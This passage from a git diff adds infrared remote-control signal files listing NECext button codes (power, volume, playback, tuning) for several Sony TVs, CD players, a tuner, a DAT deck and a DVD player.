parsed +protocol: NECext +address: 1A 9A 00 00 +command: 72 00 00 00 +# +name: ADVANCE> +type: parsed +protocol: NECext +address: 1A 9A 00 00 +command: 72 00 00 00 +# +name: GUIDE/LIVE_TV +type: parsed +protocol: NECext +address: 1A 9A 00 00 +command: 73 00 00 00 +# +name: GUIDE +type: parsed +protocol: NECext +address: 1A 9A 00 00 +command: 73 00 00 00 +# +name: GUIDE(LIVE_TV) +type: parsed +protocol: NECext +address: 1A 9A 00 00 +command: 73 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/Sony/Unknown_870/1,-1.ir b/assets/resources/infrared/_CSV-IRDB_/Sony/Unknown_870/1,-1.ir new file mode 100644 index 000000000..4e7d0a5b4 --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/Sony/Unknown_870/1,-1.ir @@ -0,0 +1,176 @@ +Filetype: IR signals file +Version: 1 +# +name: KEY_1 +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 00 00 00 00 +# +name: KEY_2 +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 01 00 00 00 +# +name: KEY_3 +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 02 00 00 00 +# +name: KEY_4 +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 03 00 00 00 +# +name: KEY_5 +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 04 00 00 00 +# +name: KEY_6 +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 05 00 00 00 +# +name: KEY_7 +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 06 00 00 00 +# +name: KEY_8 +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 07 00 00 00 +# +name: KEY_9 +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 08 00 00 00 +# +name: KEY_0 +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 09 00 00 00 +# +name: KEY_CHANNELUP +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 10 00 00 00 +# +name: KEY_CHANNELDOWN +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 11 00 00 00 +# +name: KEY_VOLUMEUP +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 12 00 00 00 +# +name: KEY_VOLUMEDOWN +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 13 00 00 00 +# +name: KEY_MUTE +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 14 00 00 00 +# +name: KEY_POWER +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 15 00 00 00 +# +name: a/b +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 17 00 00 00 +# +name: KEY_102ND +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 1D 00 00 00 +# +name: KEY_VIDEO +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 25 00 00 00 +# +name: text_clr +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 2B 00 00 00 +# +name: KEY_SLEEP +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 36 00 00 00 +# +name: KEY_TV +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 38 00 00 00 +# +name: display +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 3A 00 00 00 +# +name: wakeup +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 3C 00 00 00 +# +name: KEY_TEXT +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 3F 00 00 00 +# +name: KEY_BLUE +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 61 00 00 00 +# +name: KEY_RED +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 74 00 00 00 +# +name: KEY_YELLOW +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 75 00 00 00 +# +name: KEY_GREEN +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 7C 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/Sony/Unknown_CD/17,-1.ir b/assets/resources/infrared/_CSV-IRDB_/Sony/Unknown_CD/17,-1.ir new file mode 100644 index 000000000..898a0414b --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/Sony/Unknown_CD/17,-1.ir @@ -0,0 +1,278 @@ +Filetype: IR signals file +Version: 1 +# +name: KEY_1 +type: parsed +protocol: NECext +address: 11 00 00 00 +command: 00 00 00 00 +# +name: KEY_2 +type: parsed +protocol: NECext +address: 11 00 00 00 +command: 01 00 00 00 +# +name: KEY_3 +type: parsed +protocol: NECext +address: 11 00 00 00 +command: 02 00 00 00 +# +name: KEY_4 +type: parsed +protocol: NECext +address: 11 00 00 00 +command: 03 00 00 00 +# +name: KEY_5 +type: parsed +protocol: NECext +address: 11 00 00 00 +command: 04 00 00 00 +# +name: KEY_6 +type: parsed +protocol: NECext +address: 11 00 00 00 +command: 05 00 00 00 +# +name: KEY_7 +type: parsed +protocol: NECext +address: 11 00 00 00 +command: 06 00 00 00 +# +name: KEY_8 +type: parsed +protocol: NECext +address: 11 00 00 00 +command: 07 00 00 00 +# +name: KEY_9 +type: parsed +protocol: NECext +address: 11 00 00 00 +command: 08 00 00 00 +# +name: KEY_OK +type: parsed +protocol: NECext +address: 11 00 00 00 +command: 0D 00 00 00 +# +name: CHECK +type: parsed +protocol: NECext +address: 11 00 00 00 +command: 0D 00 00 00 +# +name: KEY_UP +type: parsed +protocol: NECext +address: 11 00 00 00 +command: 0F 00 00 00 +# +name: KEY_CLEAR +type: parsed +protocol: NECext +address: 11 00 00 00 +command: 0F 00 00 00 +# +name: KEY_7 +type: parsed +protocol: NECext +address: 11 00 00 00 +command: 10 00 00 00 +# +name: KEY_8 +type: parsed +protocol: NECext +address: 11 00 00 00 +command: 11 00 00 00 +# +name: KEY_VOLUMEUP +type: parsed +protocol: NECext +address: 11 00 00 00 +command: 12 00 00 00 +# +name: KEY_VOLUMEDOWN +type: parsed +protocol: NECext +address: 11 00 00 00 +command: 13 00 00 00 +# +name: KEY_QUIT +type: parsed +protocol: NECext +address: 11 00 00 00 +command: 16 00 00 00 +# +name: KEY_9 +type: parsed +protocol: NECext +address: 11 00 00 00 +command: 17 00 00 00 +# +name: KEY_YELLOW +type: parsed +protocol: NECext +address: 11 00 00 00 +command: 1D 00 00 00 +# +name: KEY_BLUE +type: parsed +protocol: NECext +address: 11 00 00 00 +command: 1E 00 00 00 +# +name: KEY_RED +type: parsed +protocol: NECext +address: 11 00 00 00 +command: 1F 00 00 00 +# +name: KEY_0 +type: parsed +protocol: NECext +address: 11 00 00 00 +command: 20 00 00 00 +# +name: KEY_1 +type: parsed +protocol: NECext +address: 11 00 00 00 +command: 21 00 00 00 +# +name: KEY_2 +type: parsed +protocol: NECext +address: 11 00 00 00 +command: 22 00 00 00 +# +name: KEY_3 +type: parsed +protocol: NECext +address: 11 00 00 00 +command: 23 00 00 00 +# +name: KEY_4 +type: parsed +protocol: NECext +address: 11 00 00 00 +command: 24 00 00 00 +# +name: KEY_5 +type: parsed +protocol: NECext +address: 11 00 00 00 +command: 25 00 00 00 +# +name: KEY_6 +type: parsed +protocol: NECext +address: 11 00 00 00 +command: 26 00 00 00 +# +name: MENU1 +type: parsed +protocol: NECext +address: 11 00 00 00 +command: 27 00 00 00 +# +name: KEY_0 +type: parsed +protocol: NECext +address: 11 00 00 00 +command: 27 00 00 00 +# +name: KEY_RIGHT +type: parsed +protocol: NECext +address: 11 00 00 00 +command: 28 00 00 00 +# +name: KEY_0 +type: parsed +protocol: NECext +address: 11 00 00 00 +command: 29 00 00 00 +# +name: KEY_LEFT +type: parsed +protocol: NECext +address: 11 00 00 00 +command: 2A 00 00 00 +# +name: MENU2 +type: parsed +protocol: NECext +address: 11 00 00 00 +command: 2C 00 00 00 +# +name: KEY_PREVIOUS +type: parsed +protocol: NECext +address: 11 00 00 00 +command: 30 00 00 00 +# +name: KEY_NEXT +type: parsed +protocol: NECext +address: 11 00 00 00 +command: 31 00 00 00 +# +name: KEY_PLAY +type: parsed +protocol: NECext +address: 11 00 00 00 +command: 32 00 00 00 +# +name: FAST_BACKWARD +type: parsed +protocol: NECext +address: 11 00 00 00 +command: 33 00 00 00 +# +name: KEY_FASTFORWARD +type: parsed +protocol: NECext +address: 11 00 00 00 +command: 34 00 00 00 +# +name: KEY_GREEN +type: parsed +protocol: NECext +address: 11 00 00 00 +command: 35 00 00 00 +# +name: KEY_STOP +type: parsed +protocol: NECext +address: 11 00 00 00 +command: 38 00 00 00 +# +name: KEY_PAUSE +type: parsed +protocol: NECext +address: 11 00 00 00 +command: 39 00 00 00 +# +name: KEY_REWIND +type: parsed +protocol: NECext +address: 11 00 00 00 +command: 3A 00 00 00 +# +name: KEY_FORWARD +type: parsed +protocol: NECext +address: 11 00 00 00 +command: 3B 00 00 00 +# +name: KEY_DOWN +type: parsed +protocol: NECext +address: 11 00 00 00 +command: 5F 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/Sony/Unknown_CDIR/17,-1.ir b/assets/resources/infrared/_CSV-IRDB_/Sony/Unknown_CDIR/17,-1.ir new file mode 100644 index 000000000..270accf92 --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/Sony/Unknown_CDIR/17,-1.ir @@ -0,0 +1,272 @@ +Filetype: IR signals file +Version: 1 +# +name: KEY_1 +type: parsed +protocol: NECext +address: 11 00 00 00 +command: 00 00 00 00 +# +name: KEY_2 +type: parsed +protocol: NECext +address: 11 00 00 00 +command: 01 00 00 00 +# +name: KEY_3 +type: parsed +protocol: NECext +address: 11 00 00 00 +command: 02 00 00 00 +# +name: KEY_4 +type: parsed +protocol: NECext +address: 11 00 00 00 +command: 03 00 00 00 +# +name: KEY_5 +type: parsed +protocol: NECext +address: 11 00 00 00 +command: 04 00 00 00 +# +name: KEY_6 +type: parsed +protocol: NECext +address: 11 00 00 00 +command: 05 00 00 00 +# +name: KEY_7 +type: parsed +protocol: NECext +address: 11 00 00 00 +command: 06 00 00 00 +# +name: KEY_8 +type: parsed +protocol: NECext +address: 11 00 00 00 +command: 07 00 00 00 +# +name: KEY_9 +type: parsed +protocol: NECext +address: 11 00 00 00 +command: 08 00 00 00 +# +name: KEY_ENTER +type: parsed +protocol: NECext +address: 11 00 00 00 +command: 0B 00 00 00 +# +name: CHECK +type: parsed +protocol: NECext +address: 11 00 00 00 +command: 0D 00 00 00 +# +name: KEY_CLEAR +type: parsed +protocol: NECext +address: 11 00 00 00 +command: 0F 00 00 00 +# +name: KEY_VOLUMEDOWN +type: parsed +protocol: NECext +address: 11 00 00 00 +command: 12 00 00 00 +# +name: KEY_VOLUMEUP +type: parsed +protocol: NECext +address: 11 00 00 00 +command: 13 00 00 00 +# +name: KEY_POWER +type: parsed +protocol: NECext +address: 11 00 00 00 +command: 15 00 00 00 +# +name: CONTINUE +type: parsed +protocol: NECext +address: 11 00 00 00 +command: 1D 00 00 00 +# +name: PROGRAM +type: parsed +protocol: NECext +address: 11 00 00 00 +command: 1F 00 00 00 +# +name: KEY_0 +type: parsed +protocol: NECext +address: 11 00 00 00 +command: 20 00 00 00 +# +name: MEMO +type: parsed +protocol: NECext +address: 11 00 00 00 +command: 28 00 00 00 +# +name: KEY_AGAIN +type: parsed +protocol: NECext +address: 11 00 00 00 +command: 2C 00 00 00 +# +name: KEY_POWER +type: parsed +protocol: NECext +address: 11 00 00 00 +command: 2E 00 00 00 +# +name: KEY_POWER +type: parsed +protocol: NECext +address: 11 00 00 00 +command: 2F 00 00 00 +# +name: KEY_PREVIOUS +type: parsed +protocol: NECext +address: 11 00 00 00 +command: 30 00 00 00 +# +name: KEY_NEXT +type: parsed +protocol: NECext +address: 11 00 00 00 +command: 31 00 00 00 +# +name: KEY_PLAY +type: parsed +protocol: NECext +address: 11 00 00 00 +command: 32 00 00 00 +# +name: KEY_REWIND +type: parsed +protocol: NECext +address: 11 00 00 00 +command: 33 00 00 00 +# +name: KEY_FORWARD +type: parsed +protocol: NECext +address: 11 00 00 00 +command: 34 00 00 00 +# +name: SHUFFLE +type: parsed +protocol: NECext +address: 11 00 00 00 +command: 35 00 00 00 +# +name: KEY_STOP +type: parsed +protocol: NECext +address: 11 00 00 00 +command: 38 00 00 00 +# +name: KEY_PAUSE +type: parsed +protocol: NECext +address: 11 00 00 00 +command: 39 00 00 00 +# +name: KEY_KPMINUS +type: parsed +protocol: NECext +address: 11 00 00 00 +command: 3D 00 00 00 +# +name: KEY_KPPLUS +type: parsed +protocol: NECext +address: 11 00 00 00 +command: 3E 00 00 00 +# +name: EXTRA +type: parsed +protocol: NECext +address: 11 00 00 00 +command: 3F 00 00 00 +# +name: DISC +type: parsed +protocol: NECext +address: 11 00 00 00 +command: 4A 00 00 00 +# +name: TRACK +type: parsed +protocol: NECext +address: 11 00 00 00 +command: 4B 00 00 00 +# +name: BLOCK +type: parsed +protocol: NECext +address: 11 00 00 00 +command: 4C 00 00 00 +# +name: FADE +type: parsed +protocol: NECext +address: 11 00 00 00 +command: 5F 00 00 00 +# +name: JOG+ +type: parsed +protocol: NECext +address: 11 00 00 00 +command: 60 00 00 00 +# +name: JOG- +type: parsed +protocol: NECext +address: 11 00 00 00 +command: 61 00 00 00 +# +name: JOG++ +type: parsed +protocol: NECext +address: 11 00 00 00 +command: 62 00 00 00 +# +name: UNK5 +type: parsed +protocol: NECext +address: 11 00 00 00 +command: 63 00 00 00 +# +name: JOG+++ +type: parsed +protocol: NECext +address: 11 00 00 00 +command: 64 00 00 00 +# +name: UNK3 +type: parsed +protocol: NECext +address: 11 00 00 00 +command: 65 00 00 00 +# +name: MEMO_INPUT +type: parsed +protocol: NECext +address: 11 00 00 00 +command: 69 00 00 00 +# +name: MEMO_SCAN +type: parsed +protocol: NECext +address: 11 00 00 00 +command: 6B 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/Sony/Unknown_CDP-790/17,-1.ir b/assets/resources/infrared/_CSV-IRDB_/Sony/Unknown_CDP-790/17,-1.ir new file mode 100644 index 000000000..49b9011b7 --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/Sony/Unknown_CDP-790/17,-1.ir @@ -0,0 +1,254 @@ +Filetype: IR signals file +Version: 1 +# +name: KEY_1 +type: parsed +protocol: NECext +address: 11 00 00 00 +command: 00 00 00 00 +# +name: KEY_2 +type: parsed +protocol: NECext +address: 11 00 00 00 +command: 01 00 00 00 +# +name: KEY_3 +type: parsed +protocol: NECext +address: 11 00 00 00 +command: 02 00 00 00 +# +name: KEY_4 +type: parsed +protocol: NECext +address: 11 00 00 00 +command: 03 00 00 00 +# +name: KEY_5 +type: parsed +protocol: NECext +address: 11 00 00 00 +command: 04 00 00 00 +# +name: KEY_6 +type: parsed +protocol: NECext +address: 11 00 00 00 +command: 05 00 00 00 +# +name: KEY_7 +type: parsed +protocol: NECext +address: 11 00 00 00 +command: 06 00 00 00 +# +name: KEY_8 +type: parsed +protocol: NECext +address: 11 00 00 00 +command: 07 00 00 00 +# +name: KEY_9 +type: parsed +protocol: NECext +address: 11 00 00 00 +command: 08 00 00 00 +# +name: SEVENTEEN +type: parsed +protocol: NECext +address: 11 00 00 00 +command: 10 00 00 00 +# +name: EIGHTEEN +type: parsed +protocol: NECext +address: 11 00 00 00 +command: 11 00 00 00 +# +name: KEY_VOLUMEUP +type: parsed +protocol: NECext +address: 11 00 00 00 +command: 12 00 00 00 +# +name: KEY_VOLUMEDOWN +type: parsed +protocol: NECext +address: 11 00 00 00 +command: 13 00 00 00 +# +name: KEY_OPEN +type: parsed +protocol: NECext +address: 11 00 00 00 +command: 16 00 00 00 +# +name: NINETEEN +type: parsed +protocol: NECext +address: 11 00 00 00 +command: 17 00 00 00 +# +name: CONTINUE +type: parsed +protocol: NECext +address: 11 00 00 00 +command: 1D 00 00 00 +# +name: PGM +type: parsed +protocol: NECext +address: 11 00 00 00 +command: 1F 00 00 00 +# +name: TEN +type: parsed +protocol: NECext +address: 11 00 00 00 +command: 20 00 00 00 +# +name: ELEVEN +type: parsed +protocol: NECext +address: 11 00 00 00 +command: 21 00 00 00 +# +name: TWELVE +type: parsed +protocol: NECext +address: 11 00 00 00 +command: 22 00 00 00 +# +name: THIRTEEN +type: parsed +protocol: NECext +address: 11 00 00 00 +command: 23 00 00 00 +# +name: FOURTEEN +type: parsed +protocol: NECext +address: 11 00 00 00 +command: 24 00 00 00 +# +name: FIFTEEN +type: parsed +protocol: NECext +address: 11 00 00 00 +command: 25 00 00 00 +# +name: SIXTEEN +type: parsed +protocol: NECext +address: 11 00 00 00 +command: 26 00 00 00 +# +name: >TWENTY +type: parsed +protocol: NECext +address: 11 00 00 00 +command: 27 00 00 00 +# +name: TWENTY +type: parsed +protocol: NECext +address: 11 00 00 00 +command: 29 00 00 00 +# +name: A_B +type: parsed +protocol: NECext +address: 11 00 00 00 +command: 2A 00 00 00 +# +name: KEY_AGAIN +type: parsed +protocol: NECext +address: 11 00 00 00 +command: 2C 00 00 00 +# +name: KEY_PREVIOUS +type: parsed +protocol: NECext +address: 11 00 00 00 +command: 30 00 00 00 +# +name: KEY_NEXT +type: parsed +protocol: NECext +address: 11 00 00 00 +command: 31 00 00 00 +# +name: KEY_PLAY +type: parsed +protocol: NECext +address: 11 00 00 00 +command: 32 00 00 00 +# +name: BWD +type: parsed +protocol: NECext +address: 11 00 00 00 +command: 33 00 00 00 +# +name: KEY_FORWARD +type: parsed +protocol: NECext +address: 11 00 00 00 +command: 34 00 00 00 +# +name: SHUFFLE +type: parsed +protocol: NECext +address: 11 00 00 00 +command: 35 00 00 00 +# +name: BWD_INDEX +type: parsed +protocol: NECext +address: 11 00 00 00 +command: 36 00 00 00 +# +name: FWD_INDEX +type: parsed +protocol: NECext +address: 11 00 00 00 +command: 37 00 00 00 +# +name: KEY_STOP +type: parsed +protocol: NECext +address: 11 00 00 00 +command: 38 00 00 00 +# +name: KEY_PAUSE +type: parsed +protocol: NECext +address: 11 00 00 00 +command: 39 00 00 00 +# +name: BWD_SLOW +type: parsed +protocol: NECext +address: 11 00 00 00 +command: 3A 00 00 00 +# +name: FWD_SLOW +type: parsed +protocol: NECext +address: 11 00 00 00 +command: 3B 00 00 00 +# +name: AUTO_SPACE +type: parsed +protocol: NECext +address: 11 00 00 00 +command: 4E 00 00 00 +# +name: FADER +type: parsed +protocol: NECext +address: 11 00 00 00 +command: 5F 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/Sony/Unknown_D1000/89,-1.ir b/assets/resources/infrared/_CSV-IRDB_/Sony/Unknown_D1000/89,-1.ir new file mode 100644 index 000000000..e9ed6bd18 --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/Sony/Unknown_D1000/89,-1.ir @@ -0,0 +1,254 @@ +Filetype: IR signals file +Version: 1 +# +name: KEY_1 +type: parsed +protocol: NECext +address: 59 00 00 00 +command: 00 00 00 00 +# +name: KEY_2 +type: parsed +protocol: NECext +address: 59 00 00 00 +command: 01 00 00 00 +# +name: KEY_3 +type: parsed +protocol: NECext +address: 59 00 00 00 +command: 02 00 00 00 +# +name: KEY_4 +type: parsed +protocol: NECext +address: 59 00 00 00 +command: 03 00 00 00 +# +name: KEY_5 +type: parsed +protocol: NECext +address: 59 00 00 00 +command: 04 00 00 00 +# +name: KEY_6 +type: parsed +protocol: NECext +address: 59 00 00 00 +command: 05 00 00 00 +# +name: KEY_7 +type: parsed +protocol: NECext +address: 59 00 00 00 +command: 06 00 00 00 +# +name: KEY_8 +type: parsed +protocol: NECext +address: 59 00 00 00 +command: 07 00 00 00 +# +name: KEY_9 +type: parsed +protocol: NECext +address: 59 00 00 00 +command: 08 00 00 00 +# +name: KEY_0 +type: parsed +protocol: NECext +address: 59 00 00 00 +command: 09 00 00 00 +# +name: KEY_1 +type: parsed +protocol: NECext +address: 59 00 00 00 +command: 0A 00 00 00 +# +name: KEY_2 +type: parsed +protocol: NECext +address: 59 00 00 00 +command: 0B 00 00 00 +# +name: KEY_CHANNELUP +type: parsed +protocol: NECext +address: 59 00 00 00 +command: 10 00 00 00 +# +name: KEY_CHANNELDOWN +type: parsed +protocol: NECext +address: 59 00 00 00 +command: 11 00 00 00 +# +name: Undefined +type: parsed +protocol: NECext +address: 59 00 00 00 +command: 18 00 00 00 +# +name: News +type: parsed +protocol: NECext +address: 59 00 00 00 +command: 19 00 00 00 +# +name: Affairs +type: parsed +protocol: NECext +address: 59 00 00 00 +command: 1A 00 00 00 +# +name: KEY_INFO +type: parsed +protocol: NECext +address: 59 00 00 00 +command: 1B 00 00 00 +# +name: Sport +type: parsed +protocol: NECext +address: 59 00 00 00 +command: 1C 00 00 00 +# +name: Educate +type: parsed +protocol: NECext +address: 59 00 00 00 +command: 1D 00 00 00 +# +name: Drama +type: parsed +protocol: NECext +address: 59 00 00 00 +command: 1E 00 00 00 +# +name: Culture +type: parsed +protocol: NECext +address: 59 00 00 00 +command: 1F 00 00 00 +# +name: Science +type: parsed +protocol: NECext +address: 59 00 00 00 +command: 20 00 00 00 +# +name: Varied +type: parsed +protocol: NECext +address: 59 00 00 00 +command: 21 00 00 00 +# +name: PopM +type: parsed +protocol: NECext +address: 59 00 00 00 +command: 22 00 00 00 +# +name: RockM +type: parsed +protocol: NECext +address: 59 00 00 00 +command: 23 00 00 00 +# +name: MORM +type: parsed +protocol: NECext +address: 59 00 00 00 +command: 24 00 00 00 +# +name: KEY_LIGHTS_TOGGLE +type: parsed +protocol: NECext +address: 59 00 00 00 +command: 25 00 00 00 +# +name: Classics +type: parsed +protocol: NECext +address: 59 00 00 00 +command: 26 00 00 00 +# +name: OtherM +type: parsed +protocol: NECext +address: 59 00 00 00 +command: 27 00 00 00 +# +name: MusicBalance +type: parsed +protocol: NECext +address: 59 00 00 00 +command: 28 00 00 00 +# +name: SpeechBalance +type: parsed +protocol: NECext +address: 59 00 00 00 +command: 29 00 00 00 +# +name: MonoMode +type: parsed +protocol: NECext +address: 59 00 00 00 +command: 33 00 00 00 +# +name: FineTuningUp +type: parsed +protocol: NECext +address: 59 00 00 00 +command: 34 00 00 00 +# +name: FineTuningDown +type: parsed +protocol: NECext +address: 59 00 00 00 +command: 35 00 00 00 +# +name: KEY_3 +type: parsed +protocol: NECext +address: 59 00 00 00 +command: 38 00 00 00 +# +name: KEY_4 +type: parsed +protocol: NECext +address: 59 00 00 00 +command: 39 00 00 00 +# +name: KEY_5 +type: parsed +protocol: NECext +address: 59 00 00 00 +command: 3A 00 00 00 +# +name: KEY_6 +type: parsed +protocol: NECext +address: 59 00 00 00 +command: 3B 00 00 00 +# +name: DisplayMode +type: parsed +protocol: NECext +address: 59 00 00 00 +command: 4B 00 00 00 +# +name: BlockUp +type: parsed +protocol: NECext +address: 59 00 00 00 +command: 4C 00 00 00 +# +name: BlockDown +type: parsed +protocol: NECext +address: 59 00 00 00 +command: 4D 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/Sony/Unknown_DAT/28,-1.ir b/assets/resources/infrared/_CSV-IRDB_/Sony/Unknown_DAT/28,-1.ir new file mode 100644 index 000000000..4f577bc51 --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/Sony/Unknown_DAT/28,-1.ir @@ -0,0 +1,152 @@ +Filetype: IR signals file +Version: 1 +# +name: KEY_1 +type: parsed +protocol: NECext +address: 1C 00 00 00 +command: 00 00 00 00 +# +name: KEY_2 +type: parsed +protocol: NECext +address: 1C 00 00 00 +command: 01 00 00 00 +# +name: KEY_3 +type: parsed +protocol: NECext +address: 1C 00 00 00 +command: 02 00 00 00 +# +name: KEY_4 +type: parsed +protocol: NECext +address: 1C 00 00 00 +command: 03 00 00 00 +# +name: KEY_5 +type: parsed +protocol: NECext +address: 1C 00 00 00 +command: 04 00 00 00 +# +name: KEY_6 +type: parsed +protocol: NECext +address: 1C 00 00 00 +command: 05 00 00 00 +# +name: KEY_7 +type: parsed +protocol: NECext +address: 1C 00 00 00 +command: 06 00 00 00 +# +name: KEY_8 +type: parsed +protocol: NECext +address: 1C 00 00 00 +command: 07 00 00 00 +# +name: KEY_9 +type: parsed +protocol: NECext +address: 1C 00 00 00 +command: 08 00 00 00 +# +name: KEY_ENTER +type: parsed +protocol: NECext +address: 1C 00 00 00 +command: 0B 00 00 00 +# +name: KEY_VOLUMEUP +type: parsed +protocol: NECext +address: 1C 00 00 00 +command: 12 00 00 00 +# +name: KEY_VOLUMEDOWN +type: parsed +protocol: NECext +address: 1C 00 00 00 +command: 13 00 00 00 +# +name: KEY_0 +type: parsed +protocol: NECext +address: 1C 00 00 00 +command: 14 00 00 00 +# +name: KEY_MUTE +type: parsed +protocol: NECext +address: 1C 00 00 00 +command: 14 00 00 00 +# +name: KEY_POWER +type: parsed +protocol: NECext +address: 1C 00 00 00 +command: 15 00 00 00 +# +name: KEY_POWER +type: parsed +protocol: NECext +address: 1C 00 00 00 +command: 2E 00 00 00 +# +name: KEY_POWER +type: parsed +protocol: NECext +address: 1C 00 00 00 +command: 2F 00 00 00 +# +name: KEY_STOP +type: parsed +protocol: NECext +address: 1C 00 00 00 +command: 38 00 00 00 +# +name: KEY_PAUSE +type: parsed +protocol: NECext +address: 1C 00 00 00 +command: 39 00 00 00 +# +name: KEY_REWIND +type: parsed +protocol: NECext +address: 1C 00 00 00 +command: 3B 00 00 00 +# +name: KEY_FORWARD +type: parsed +protocol: NECext +address: 1C 00 00 00 +command: 3C 00 00 00 +# +name: KEY_RECORD +type: parsed +protocol: NECext +address: 1C 00 00 00 +command: 3E 00 00 00 +# +name: KEY_PREVIOUS +type: parsed +protocol: NECext +address: 1C 00 00 00 +command: 68 00 00 00 +# +name: KEY_NEXT +type: parsed +protocol: NECext +address: 1C 00 00 00 +command: 69 00 00 00 +# +name: KEY_PLAY +type: parsed +protocol: NECext +address: 1C 00 00 00 +command: 7A 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/Sony/Unknown_DVD/26,18.ir b/assets/resources/infrared/_CSV-IRDB_/Sony/Unknown_DVD/26,18.ir new file mode 100644 index 000000000..78d1a7bc1 --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/Sony/Unknown_DVD/26,18.ir @@ -0,0 +1,212 @@ +Filetype: IR signals file +Version: 1 +# +name: NUMBER_1 +type: parsed +protocol: NECext +address: 1A 12 00 00 +command: 00 00 00 00 +# +name: NUMBER_2 +type: parsed +protocol: NECext +address: 1A 12 00 00 +command: 01 00 00 00 +# +name: NUMBER_3 +type: parsed +protocol: NECext +address: 1A 12 00 00 +command: 02 00 00 00 +# +name: NUMBER_4 +type: parsed +protocol: NECext +address: 1A 12 00 00 +command: 03 00 00 00 +# +name: NUMBER_5 +type: parsed +protocol: NECext +address: 1A 12 00 00 +command: 04 00 00 00 +# +name: NUMBER_6 +type: parsed +protocol: NECext +address: 1A 12 00 00 +command: 05 00 00 00 +# +name: NUMBER_7 +type: parsed +protocol: NECext +address: 1A 12 00 00 +command: 06 00 00 00 +# +name: NUMBER_8 +type: parsed +protocol: NECext +address: 1A 12 00 00 +command: 07 00 00 00 +# +name: NUMBER_9 +type: parsed +protocol: NECext +address: 1A 12 00 00 +command: 08 00 00 00 +# +name: NUMBER_0 +type: parsed +protocol: NECext +address: 1A 12 00 00 +command: 09 00 00 00 +# +name: KEY_ENTER +type: parsed +protocol: NECext +address: 1A 12 00 00 +command: 0B 00 00 00 +# +name: KEY_ENTER +type: parsed +protocol: NECext +address: 1A 12 00 00 +command: 0E 00 00 00 +# +name: KEY_CLEAR +type: parsed +protocol: NECext +address: 1A 12 00 00 +command: 0F 00 00 00 +# +name: KEY_POWER +type: parsed +protocol: NECext +address: 1A 12 00 00 +command: 15 00 00 00 +# +name: KEY_TITLE +type: parsed +protocol: NECext +address: 1A 12 00 00 +command: 1A 00 00 00 +# +name: KEY_MENU +type: parsed +protocol: NECext +address: 1A 12 00 00 +command: 1B 00 00 00 +# +name: PROGRAM +type: parsed +protocol: NECext +address: 1A 12 00 00 +command: 1F 00 00 00 +# +name: SCAN_BACKWARD +type: parsed +protocol: NECext +address: 1A 12 00 00 +command: 22 00 00 00 +# +name: SCAN_FORWARD +type: parsed +protocol: NECext +address: 1A 12 00 00 +command: 23 00 00 00 +# +name: TIME_TEXT +type: parsed +protocol: NECext +address: 1A 12 00 00 +command: 28 00 00 00 +# +name: KEY_AGAIN +type: parsed +protocol: NECext +address: 1A 12 00 00 +command: 2C 00 00 00 +# +name: SKIP_BACKWARD +type: parsed +protocol: NECext +address: 1A 12 00 00 +command: 30 00 00 00 +# +name: SKIP_FORWAD +type: parsed +protocol: NECext +address: 1A 12 00 00 +command: 31 00 00 00 +# +name: KEY_PLAY +type: parsed +protocol: NECext +address: 1A 12 00 00 +command: 32 00 00 00 +# +name: SHUFFLE +type: parsed +protocol: NECext +address: 1A 12 00 00 +command: 35 00 00 00 +# +name: KEY_STOP +type: parsed +protocol: NECext +address: 1A 12 00 00 +command: 38 00 00 00 +# +name: KEY_PAUSE +type: parsed +protocol: NECext +address: 1A 12 00 00 +command: 39 00 00 00 +# +name: DISPLAY +type: parsed +protocol: NECext +address: 1A 12 00 00 +command: 54 00 00 00 +# +name: KEY_SUBTITLE +type: parsed +protocol: NECext +address: 1A 12 00 00 +command: 63 00 00 00 +# +name: KEY_AUDIO +type: parsed +protocol: NECext +address: 1A 12 00 00 +command: 64 00 00 00 +# +name: KEY_ANGLE +type: parsed +protocol: NECext +address: 1A 12 00 00 +command: 65 00 00 00 +# +name: ARROW_UP +type: parsed +protocol: NECext +address: 1A 12 00 00 +command: 79 00 00 00 +# +name: ARROW_DOWN +type: parsed +protocol: NECext +address: 1A 12 00 00 +command: 7A 00 00 00 +# +name: ARROW_LEFT +type: parsed +protocol: NECext +address: 1A 12 00 00 +command: 7B 00 00 00 +# +name: ARROW_RIGHT +type: parsed +protocol: NECext +address: 1A 12 00 00 +command: 7C 00 00 00 diff --git 